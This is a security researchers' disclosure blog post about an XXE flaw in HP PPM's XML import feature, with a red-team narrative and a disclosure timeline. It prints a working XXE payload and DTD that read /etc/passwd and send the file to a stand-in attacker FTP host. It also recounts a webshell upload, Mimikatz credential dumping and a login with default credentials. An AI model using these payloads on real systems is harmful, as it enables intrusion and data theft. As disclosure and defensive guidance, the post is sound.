Intro: XXE Zeroday Vulnerability in HP PPM
Researchers at Rhino Security Labs discovered an XXE vulnerability in the way HP Project and Portfolio Management Center (HP PPM) processed imported tickets. Specifically, an XML external entity injection vulnerability allows an attacker to exploit the application that parses XML input and reflects it back to the user without any validation. Misconfiguration of the XML parser permits the execution of malicious input. This vulnerability allows for a local file read of the system, yielding file read access to any authenticated user, and can be remotely exploited to execute a Man-in-the Middle (MitM) attack and Cross-site Request Forgery (CSRF).
An attacker can compromise an application through an XML external entity exploit and carry out serious attacks such as obtaining sensitive information, denial of service, port scanning, server-side request forgery, and others.
What is XML External Entity (XXE) Injection?
XML External Entity (XXE) Injection occurs when an application has a poorly configured XML parser which processes a type of storage unit called an external entity. The OWASP page on XXE defines an external entity as one that can access local or remote content by dereferencing a URI. The parser then stores the retrieved data for future reference. Combining an external reference with local file read means an attacker can gain both server-side request forgery and local file read abilities, making this a critical vulnerability.
According to the OWASP XXE Prevention Cheat Sheet, Java applications using XML libraries are particularly vulnerable to XXE because the default setting for most Java XML parsers enables XXE. When an application is vulnerable to these attacks, the scope of local file read access is restricted to that of which the web user can access; however, due to many Java applications running as root, often times XXE in a Java application could mean any file on the system is readable.
To prevent this attack explicitly disable XXE in your parser’s configuration. To limit the impact of this vulnerability, ensure that the web application is not running as root.
This XXE vulnerability was discovered in Hewlett Packard (HP) Project and Portfolio Management Center 9.20, and disclosed to HP on 8/30/17. The HP Security Bulletin Number is MFSBGN03793 rev.2.
The Attack Narrative: Discovery Process, pt. 1
During the course of an extensive red team engagement, Rhino Security Labs had breached a perimeter system using a cryptographic weakness in the Telerik uploader (details can be found on a related blog here). The rauPostData parameter is encrypted using a static encryption key, thus by decrypting and modifying the data within we were able to upload an ASPX webshell to the server.
Once we gained command execution and did some initial reconnaissance, we realized that we were in the development Active Directory (AD) Domain and needed to move into production. Using Mimikatz to dump credentials we were able to successfully gain access to two service accounts that were under the target prod domain. We took these service accounts and tried several different federated login pages facing the external perimeter but succeeded in authenticating against a Citrix Netscaler Gateway. This Citrix machine was located inside the target domain and managed the various Virtual Machines (VMs) we were trying to gain access to.
Using this VM, we discovered a webserver running HP’s Project and Portfolio Management Center (HP PPM). The default credentials of admin:admin logged us into the portal with full access to the project interface. This PPM instance was used to handle tickets submitted for their SAP application, which manages business operations along with client relations. This server was a critical asset and compromising it would be a major victory.
Exploring the Unknown: Discovery Process, pt2
Our team had never explored HP’s PPM before, but a quick navigation of the menus showed that one such feature to explore was the Import XML feature. On this page a user could import several requests at once into the ticketing system for further processing; however, this XML processor was configured poorly and would accept references to external entities.
The interface for HP PPM's Import XML feature was discovered.
The HP PPM XML import feature had a “test” button functionality such that we did not have to persist items submitted to the database. As a result, we were able to minimize our footprint on the server.
The vulnerable XML importer in question, with the test button highlighted.
XXE is so frequent in web penetration testing that we developed a dedicated Python XXE-FTP server (source code on our GitHub here). This server hosts a malicious external entity that, when submitted with the original payload found on line 28, will exfiltrate any specified file from the web server to the attacker controlled server over FTP. FTP is the preferred protocol as HTTP has many restrictions on what is and what is not a valid URL. The following code was used to exfiltrate the /etc/passwd file and was submitted as POST data to the endpoint below:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM file:///etc/passwd> <!ENTITY %dtd SYSTEM http://attacker-xxe-ftp-server/login.dtd> %dtd; ]> <data>&send;</data>
The login.dtd (the format of an external xml file referenced by an external entity) file contained the following code:
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://attacker-xxe-ftp-server:ftp-port/%file;'>"> %all;
Exfiltrating data over FTP has several benefits, such as no URL validation and simpler logs to parse. The only post-processing of the logs needed is that every time a forward slash is encountered, FTP interprets it as the CWD command- Replacing CWD with the forward slash reveals the original file. The original XXE – coupled with our own tool – allowed us to discover local users on the machine by reading /etc/passwd, explore the local configuration files, search for SSH keys such as id_rsa and more.
Above shows the log file generated by the xxe-server.py. The log reads that the vulnerable server connected over FTP using Java 1.7.0_71 and submitted the os-release file, which was Red Hat Enterprise Linux v6.8.
Unfortunately, the server was not running Java as root so /etc/shadow was not available to us; however, reading /etc/passwd (shown above) shows that several SAP Admin accounts live on this machine, meaning SAP data was stored on this server.
One final note on the exploitation hurdles in this particularly restrictive environment – the only outbound traffic allowed was through ports 80 and 443. To solve this problem, we would need to run both the malicious external entity resource (DTD file server) and FTP exfiltration server on these ports. However, to exfiltrate over 443 we would need a valid SSL certificate for the application to process the request. Instead, we spun up two AWS EC2 instances – one running the DTD web server on port 80 and the other running the FTP server on port 80. All that was left was to point our malicious DTD file to our new FTP server on port 80 and run the exploit. Doing so allowed for successful exfiltration of data – and demonstration of the associated risk to the client.
Even without root permissions, we were able to read several database configuration files and the /etc/passwd file to stage our login attempts against the server. The OWASP page for preventing XXE attacks is a great resource for ensuring your specific architecture isn’t vulnerable to a similar vulnerability.
Vulnerabilty Disclosure Timeline
8/30/17: Initial disclosure to HP Project and Portfolio Management (HP PPM) team.
8/30/17: Acknowledgement from HP PPM.
8/31/17: Assigned HP case number PSRT110563.
9/14/17: Inquiry into patch progress.
9/21/17: HP PPM replies that they’re still working on the issue.
12/11/17: HP publishes security bulletin KM03014426. XXE is acknowledged but not assigned a CVE.
2/21/18: Rhino Security Labs provides full disclosure.